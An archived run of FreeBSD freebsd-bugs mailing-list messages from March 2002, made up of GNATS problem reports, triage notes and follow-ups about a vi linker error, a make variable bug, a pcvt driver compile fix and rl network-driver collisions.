freebsd-bugs@FreeBSD.org Cc: From: "Crist J. Clark" Subject: Re: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Reply-To: "Crist J. Clark" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR i386/35564; it has been noted by GNATS. From: "Crist J. Clark" To: Steve Matus Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Date: Tue, 5 Mar 2002 10:46:39 -0800 On Tue, Mar 05, 2002 at 09:57:18AM -0800, Steve Matus wrote: [snip] > >Description: > invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. > > /usr/libexec/ld-elf.so.1: /usr/lib/libc.so.4: Undefined symbol "epool_get" I cannot reproduce this. It would be hard to believe that vi(1) didn't work on 4.5-RELEASE and this is the first we've heard about it. Please try, $ /usr/bin/vi Again, and if there is a problem, $ ls -l /usr/bin/vi It should be something like, -r-xr-xr-x 6 root wheel 280272 Jan 28 05:12 /usr/bin/vi How did you install the system? Are you sure you are not running a version of vi from the ports or something? -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 11:22:48 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id CEAF537B402; Tue, 5 Mar 2002 11:22:45 -0800 (PST) Received: (from cjc@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25JEvC37575; Tue, 5 Mar 2002 11:14:57 -0800 (PST) (envelope-from cjc) Date: Tue, 5 Mar 2002 11:14:57 -0800 (PST) From: Message-Id: <200203051914.g25JEvC37575@freefall.freebsd.org> To: list@rachinsky.de, cjc@FreeBSD.org, freebsd-bugs@FreeBSD.org, cjc@FreeBSD.org Subject: Re: bin/35558: periodic/weekly/330.catman does not update localized manpages Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: periodic/weekly/330.catman does not update localized manpages State-Changed-From-To: open->analyzed State-Changed-By: cjc State-Changed-When: Tue Mar 5 11:13:19 PST 2002 State-Changed-Why: Good find. Thanks for the patch. Committed to -CURRENT, will MFC in a week (after everyone's weekly scripts have run once). Responsible-Changed-From-To: freebsd-bugs->cjc Responsible-Changed-By: cjc Responsible-Changed-When: Tue Mar 5 11:13:19 PST 2002 Responsible-Changed-Why: I'll handle the MFC. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35558 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 13:50: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4DF7437B416 for ; Tue, 5 Mar 2002 13:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25Lo1069411; Tue, 5 Mar 2002 13:50:01 -0800 (PST) (envelope-from gnats) Received: from gtok-vm.andrew.cmu.edu (GTOK-VM.ANDREW.CMU.EDU [128.2.122.230]) by hub.freebsd.org (Postfix) with ESMTP id 590A337B41A for ; Tue, 5 Mar 2002 13:40:43 -0800 (PST) Received: (from cg2v@localhost) by gtok-vm.andrew.cmu.edu (8.11.6/8.11.6) id g25Leds20652; Tue, 5 Mar 2002 16:40:39 -0500 (EST) (envelope-from cg2v) Message-Id: <200203052140.g25Leds20652@gtok-vm.andrew.cmu.edu> Date: Tue, 5 Mar 2002 16:40:39 -0500 (EST) From: Chaskiel Grundman Reply-To: Chaskiel Grundman To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35568: make declares target out of date, but $? is empty Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35568 >Category: bin >Synopsis: make declares target out of date, but $? is empty >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 13:50:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Chaskiel Grundman >Release: FreeBSD 4.5-RELEASE i386 >Organization: Carnegie Mellon University >Environment: System: FreeBSD gtok-vm.andrew.cmu.edu 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT 2002 murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC i386 >Description: A makefile containing the following (this is not the complete makefile...) all: ${TOP_LIBDIR}/libafsrpc.a libafsrpc.a: ${LIBOBJS} $(RM) -f $@ $(AR) crv $@ ${LIBOBJS} $(RANLIB) $@ case "${SYS_NAME}" in \ rs_aix*) \ $(AR) crv $@ ../sys/afsl.exp;; \ esac ${TOP_LIBDIR}/libafsrpc.a: libafsrpc.a ${INSTALL} $? $@ has the following behaavior if make is invoked when the library is up to date (this is a subset of the make -d lmv output): Examining libafsrpc.a...modified 15:22:39 Mar 05, 2002...library.../ modified 15:22:38 Mar 05, 2002...up-to-date. Examining /usr/home/cg2v/openafs/lib/libafsrpc.a...modified 15:22:39 Mar 05, 2002...library.../ modified 15:22:38 Mar 05, 2002...out-of-date. /usr/home/cg2v/openafs/lib/libafsrpc.a:> = libafsrpc.a /usr/home/cg2v/openafs/lib/libafsrpc.a:? = /usr/home/cg2v/openafs/src/pinstall/pinstall /usr/home/cg2v/openafs/lib/libafsrpc.a Not enough file names *** Error code 1 The obvious work around is to use $< or $> in the rule instead of $?, but that isn't workable in this case since some older makes don't impliment those. I can't be sure that nothing else changed, but I believe that this problem did not affect my FreeBSD 4.4 system >How-To-Repeat: I tried to produce a minimal makefile that triggered the problem, but I was unable to come up with something simple that did not work. The actual makefile that triggers the problem comes from openafs. A version that otherwise compiles on freebsd is available here: http://grand.central.org/dl/openafs/1.3.1/openafs-1.3.1-src.tar.bz2 >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 14:30: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 90E2737B402 for ; Tue, 5 Mar 2002 14:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25MU1N78863; Tue, 5 Mar 2002 14:30:01 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 14:30:01 -0800 (PST) Message-Id: <200203052230.g25MU1N78863@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Crist J. Clark" Subject: Re: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Reply-To: "Crist J. Clark" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR i386/35564; it has been noted by GNATS. From: "Crist J. Clark" To: Steve Matus Cc: bug-followup@freebsd.org Subject: Re: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Date: Tue, 5 Mar 2002 14:20:20 -0800 On Tue, Mar 05, 2002 at 12:40:22PM -0800, Steve Matus wrote: [snip] > Here is what my system shows. > > # /usr/bin/vi > /usr/libexec/ld-elf.so.1: /usr/lib/libc.so.4: Undefined symbol > "epool_get" > # ls -l /usr/bin/vi > -r-xr-xr-x 6 root wheel 280272 Jan 28 05:12 /usr/bin/vi* > # ls -l /usr/libexec/ld-elf.so.1 > -r-xr-xr-x 1 root wheel 76560 Jan 28 05:12 /usr/libexec/ld-elf.so.1* > # cat /usr/bin/vi | md5 > 0d2170e788c1c9ca5f0a698037cbc401 > # cat /usr/libexec/ld-elf.so.1 | md5 > e3e2b35570490442c0068f234a2d454b Mine all match up. I'm not sure what is going on here. Let's make sure the libc is the same, blossom# md5 /usr/lib/libc.so.4 MD5 (/usr/lib/libc.so.4) = 29d9c7d82bb29c47260c6572184abf61 If it is, try, # truss -o vi.truss /usr/bin/vi And let's see the vi.truss file. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 18: 0: 5 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1DBD837B416 for ; Tue, 5 Mar 2002 18:00:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26203C19765; Tue, 5 Mar 2002 18:00:03 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 18:00:03 -0800 (PST) Message-Id: <200203060200.g26203C19765@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Robin Breathe" Subject: Re: kern/33397: "panic: unknown/reserved trap" with moderate network usage and recent -STABLE Reply-To: "Robin Breathe" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/33397; it has been noted by GNATS. From: "Robin Breathe" To: Cc: Subject: Re: kern/33397: "panic: unknown/reserved trap" with moderate network usage and recent -STABLE Date: Wed, 6 Mar 2002 01:57:25 -0000 The machine has now been dismantled, so aside from analysing the dumps, this PR might as well be closed. Robin Breathe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 20:20: 9 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id C0EA337B41A for ; Tue, 5 Mar 2002 20:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g264K1748480; Tue, 5 Mar 2002 20:20:01 -0800 (PST) (envelope-from gnats) Received: from sii.unixsweden.net (h51n2fls32o867.telia.com [217.208.37.51]) by hub.freebsd.org (Postfix) with ESMTP id 332F937B400 for ; Tue, 5 Mar 2002 20:13:36 -0800 (PST) Received: by sii.unixsweden.net (Postfix, from userid 1001) id EAB0114BAE; Wed, 6 Mar 2002 05:14:46 +0100 (CET) Message-Id: <20020306041446.EAB0114BAE@sii.unixsweden.net> Date: Wed, 6 Mar 2002 05:14:46 +0100 (CET) From: Joel Wilsson Reply-To: Joel Wilsson To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35577: vt driver doesn't compile Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35577 >Category: kern >Synopsis: vt driver doesn't compile >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 05 20:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Joel Wilsson >Release: FreeBSD 5.0-CURRENT i386 >Organization: none >Environment: FreeBSD-CURRENT as of today (Wed Mar 6 2002) >Description: 1) pcvt_ext.c doesn't compile without options XSERVER 2) sc and vt are, afaict, mutually exclusive. i think this should be mentioned in NOTES. >How-To-Repeat: use a kernel config with: device sc 1 device vt and without options XSERVER. try to compile it, watch the compilation fail, fix the problem by removing the bogus proto- type, compile, boot. both sc and pcvt try to create /dev/ttyv0, so pcvt will cause a panic when it tries to create an already existing device node. >Fix: *** sys/i386/isa/pcvt/pcvt_ext.c Wed Feb 27 19:32:10 2002 --- /root/pcvt_ext.c Wed Mar 6 04:56:48 2002 *************** *** 59,65 **** static int v7_1024i_col( int ); static int s3_928_col( int ); static int cl_gd542x_col( int ); - static void fallback_to_auto(struct video_state *vsx); /* storage to save video timing values of 80 columns text mode */ static union { --- 59,64 ---- *** sys/i386/conf/NOTES Mon Mar 4 22:35:02 2002 --- /root/NOTES Wed Mar 6 05:10:26 2002 *************** *** 1262,1267 **** --- 1262,1270 ---- device star_saver device warp_saver + # Note that you can only have one console driver. + # Do not compile a kernel with support for both "vt" and "sc". + # The pcvt console driver (vt220 compatible). device vt hint.vt.0.at="isa" >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 22:40:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 15EBF37B405 for ; Tue, 5 Mar 2002 22:40:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g266e4q74217; Tue, 5 Mar 2002 22:40:04 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 22:40:04 -0800 (PST) Message-Id: <200203060640.g266e4q74217@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: John Merryweather Cooper Subject: Re: misc/34739: [BROKEN] The FreeBSD PR submission system is now broken Reply-To: John Merryweather Cooper Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR misc/34739; it has been noted by GNATS. From: John Merryweather Cooper To: freebsd-gnats-submit@FreeBSD.org, john_m_cooper@yahoo.com Cc: Subject: Re: misc/34739: [BROKEN] The FreeBSD PR submission system is now broken Date: Tue, 05 Mar 2002 22:36:10 -0800 Since my configuration hasn't changed (and I presume FreeBSD's hasn't either), I can only conclude that something downstream of me screwed things up. But I'm working now, so this PR should be closed. -- jmc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23: 2:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id EA17D37B41C; Tue, 5 Mar 2002 23:02:46 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g266waq76845; Tue, 5 Mar 2002 22:58:36 -0800 (PST) (envelope-from silby) Date: Tue, 5 Mar 2002 22:58:36 -0800 (PST) From: Message-Id: <200203060658.g266waq76845@freefall.freebsd.org> To: silby@FreeBSD.org, freebsd-bugs@FreeBSD.org, danny@FreeBSD.org Subject: Re: kern/35435: rl driver generates large amount of collisions on heavy load Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: rl driver generates large amount of collisions on heavy load Responsible-Changed-From-To: freebsd-bugs->danny Responsible-Changed-By: silby Responsible-Changed-When: Tue Mar 5 22:56:52 PST 2002 Responsible-Changed-Why: The change Daniel O'Callaghan committed to rlphy.c rev 1.6 sounds like it will fix this problem. This change of responsibility is a reminder to Daniel to MFC the change, and also for The Anarcat to test it and see if it fixes the problem. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35435 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23:12:51 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id ED54437B417; Tue, 5 Mar 2002 23:12:46 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2678Nf81984; Tue, 5 Mar 2002 23:08:23 -0800 (PST) (envelope-from silby) Date: Tue, 5 Mar 2002 23:08:23 -0800 (PST) From: Message-Id: <200203060708.g2678Nf81984@freefall.freebsd.org> To: mclap@ulstu.ru, silby@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/35339: Increase of the counter of collisions at use of the device rl0 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Increase of the counter of collisions at use of the device rl0 State-Changed-From-To: open->feedback State-Changed-By: silby State-Changed-When: Tue Mar 5 23:06:50 PST 2002 State-Changed-Why: Please see if updating to rlphy.c rev 1.6 fixes this problem. If PR 35435 is correct, those collisions probably are really happening. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35339 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23:20:15 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1AC5C37B42F for ; Tue, 5 Mar 2002 23:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g267K1a83864; Tue, 5 Mar 2002 23:20:01 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 23:20:01 -0800 (PST) Message-Id: <200203060720.g267K1a83864@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Mike Silbersack Subject: Re: kern/33939: network hungs for 1-3 minutes Reply-To: Mike Silbersack Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/33939; it has been noted by GNATS. From: Mike Silbersack To: bug-followup@freebsd.org Cc: Subject: Re: kern/33939: network hungs for 1-3 minutes Date: Wed, 6 Mar 2002 01:23:32 +0000 (GMT) From the description given, it would seem that the system is just running out of mbufs. Could you provide the output of netstat -m after one of these hangs has occured? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23:22:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 98E6D37B416; Tue, 5 Mar 2002 23:22:47 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g267D3K82955; Tue, 5 Mar 2002 23:13:03 -0800 (PST) (envelope-from silby) Date: Tue, 5 Mar 2002 23:13:03 -0800 (PST) From: Message-Id: <200203060713.g267D3K82955@freefall.freebsd.org> To: silby@FreeBSD.org, freebsd-bugs@FreeBSD.org, danny@FreeBSD.org Subject: Re: misc/22434: problem with certain NIC's using rl on autoselect(10/100) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: problem with certain NIC's using rl on autoselect(10/100) Responsible-Changed-From-To: freebsd-bugs->danny Responsible-Changed-By: silby Responsible-Changed-When: Tue Mar 5 23:12:01 PST 2002 Responsible-Changed-Why: This sounds related to danny's change in rlphy.c rev 1.6. Justin, please apply those changes to your system to see if they resolve the problem. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=22434 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23:22:54 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id F085337B404; Tue, 5 Mar 2002 23:22:46 -0800 (PST) Received: (from silby@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g267DuA83092; Tue, 5 Mar 2002 23:13:56 -0800 (PST) (envelope-from silby) Date: Tue, 5 Mar 2002 23:13:56 -0800 (PST) From: Message-Id: <200203060713.g267DuA83092@freefall.freebsd.org> To: silby@FreeBSD.org, freebsd-bugs@FreeBSD.org, danny@FreeBSD.org Subject: Re: kern/35339: Increase of the counter of collisions at use of the device rl0 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Increase of the counter of collisions at use of the device rl0 Responsible-Changed-From-To: freebsd-bugs->danny Responsible-Changed-By: silby Responsible-Changed-When: Tue Mar 5 23:13:31 PST 2002 Responsible-Changed-Why: I already assigned two related PRs to danny, I might as well do so for all of them. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35339 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 23:52:50 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 087B737B400; Tue, 5 Mar 2002 23:52:47 -0800 (PST) Received: (from maxim@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g267pXZ90624; Tue, 5 Mar 2002 23:51:33 -0800 (PST) (envelope-from maxim) Date: Tue, 5 Mar 2002 23:51:33 -0800 (PST) From: Message-Id: <200203060751.g267pXZ90624@freefall.freebsd.org> To: john_m_cooper@yahoo.com, maxim@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/34739: [BROKEN] The FreeBSD PR submission system is now broken Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [BROKEN] The FreeBSD PR submission system is now broken State-Changed-From-To: open->closed State-Changed-By: maxim State-Changed-When: Tue Mar 5 23:50:23 PST 2002 State-Changed-Why: Closed by submitter request. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34739 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 2:20:35 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from matrix.42.org (matrix.42.org [194.246.250.200]) by hub.freebsd.org (Postfix) with ESMTP id 10C7137B402; Wed, 6 Mar 2002 02:20:31 -0800 (PST) Received: (from sec@localhost) by matrix.42.org (8.8.8/8.8.5) id LAA20245 (sender ); Wed, 6 Mar 2002 11:20:28 +0100 (CET) Date: Wed, 6 Mar 2002 11:20:27 +0100 From: Stefan `Sec` Zehl To: gnats-admin@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/34420: FreeBSD fails to unmount on shutdown Message-ID: <20020306102026.GA18679@matrix.42.org> References: <200201291919.g0TJJoX05949@btl.42.org> <200201291920.g0TJK0Y51783@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200201291920.g0TJK0Y51783@freefall.freebsd.org> User-Agent: Mutt/1.3.27i I-love-doing-this: really X-Modeline: vim:set ts=8 sw=4 smarttab tw=72 si noic notitle: Accept-Languages: de, en X-URL: http://sec.42.org/ Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I suspect this is the problem mentioned in the current ERRATA document: | A bug has been fixed in soft updates that can cause occasional | filesystem corruption if the system is shut down immediately after | performing heavy filesystem activities, such as installing a new kernel | or other software. The system shutdown was unable to flush all buffers | on shutdown and would report this fact. The problem can be worked around | by running sync(8) a few times before rebooting, or solved by updating | to a recent FreeBSD 4.5-STABLE snapshot. Since I updated, i have had no more of this problems, so you can close this PR. CU, Sec -- Working on GUIs rots your brain. The KDE and GNOME developers are prime examples. -- brandon in asr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 2:22:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 420AD37B400; Wed, 6 Mar 2002 02:22:47 -0800 (PST) Received: (from hm@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26AInn23564; Wed, 6 Mar 2002 02:18:49 -0800 (PST) (envelope-from hm) Date: Wed, 6 Mar 2002 02:18:49 -0800 (PST) From: Message-Id: <200203061018.g26AInn23564@freefall.freebsd.org> To: hm@FreeBSD.org, freebsd-bugs@FreeBSD.org, hm@FreeBSD.org Subject: Re: kern/35577: vt driver doesn't compile Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: vt driver doesn't compile Responsible-Changed-From-To: freebsd-bugs->hm Responsible-Changed-By: hm Responsible-Changed-When: Wed Mar 6 02:17:36 PST 2002 Responsible-Changed-Why: will look at it as soon as possible. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35577 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 2:22:50 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id C79AF37B416; Wed, 6 Mar 2002 02:22:47 -0800 (PST) Received: (from hm@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26ALYl24094; Wed, 6 Mar 2002 02:21:34 -0800 (PST) (envelope-from hm) Date: Wed, 6 Mar 2002 02:21:34 -0800 (PST) From: Message-Id: <200203061021.g26ALYl24094@freefall.freebsd.org> To: hm@FreeBSD.org, freebsd-bugs@FreeBSD.org, hm@FreeBSD.org Subject: Re: conf/33966: Incorrect entry (i1) in keycap.pcvt Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Incorrect entry (i1) in keycap.pcvt Responsible-Changed-From-To: freebsd-bugs->hm Responsible-Changed-By: hm Responsible-Changed-When: Wed Mar 6 02:21:04 PST 2002 Responsible-Changed-Why: will look at this asap. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=33966 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 2:32:49 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 584F337B402; Wed, 6 Mar 2002 02:32:47 -0800 (PST) Received: (from maxim@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26ARdA25414; Wed, 6 Mar 2002 02:27:39 -0800 (PST) (envelope-from maxim) Date: Wed, 6 Mar 2002 02:27:39 -0800 (PST) From: Message-Id: <200203061027.g26ARdA25414@freefall.freebsd.org> To: sec@btl.42.org, maxim@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/34420: FreeBSD fails to unmount on shutdown Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: FreeBSD fails to unmount on shutdown State-Changed-From-To: open->closed State-Changed-By: maxim State-Changed-When: Wed Mar 6 02:26:05 PST 2002 State-Changed-Why: Closed by submitter request. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34420 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 3: 0:16 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0BCAC37B419 for ; Wed, 6 Mar 2002 03:00:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g26B08L30728; Wed, 6 Mar 2002 03:00:08 -0800 (PST) (envelope-from gnats) Received: from descent.robbins.dropbear.id.au (108.c.005.mel.iprimus.net.au [210.50.42.108]) by hub.freebsd.org (Postfix) with ESMTP id F0A2237B402 for ; Wed, 6 Mar 2002 02:56:08 -0800 (PST) Received: (from tim@localhost) by descent.robbins.dropbear.id.au (8.11.6/8.11.6) id g26AsDX32399; Wed, 6 Mar 2002 21:54:13 +1100 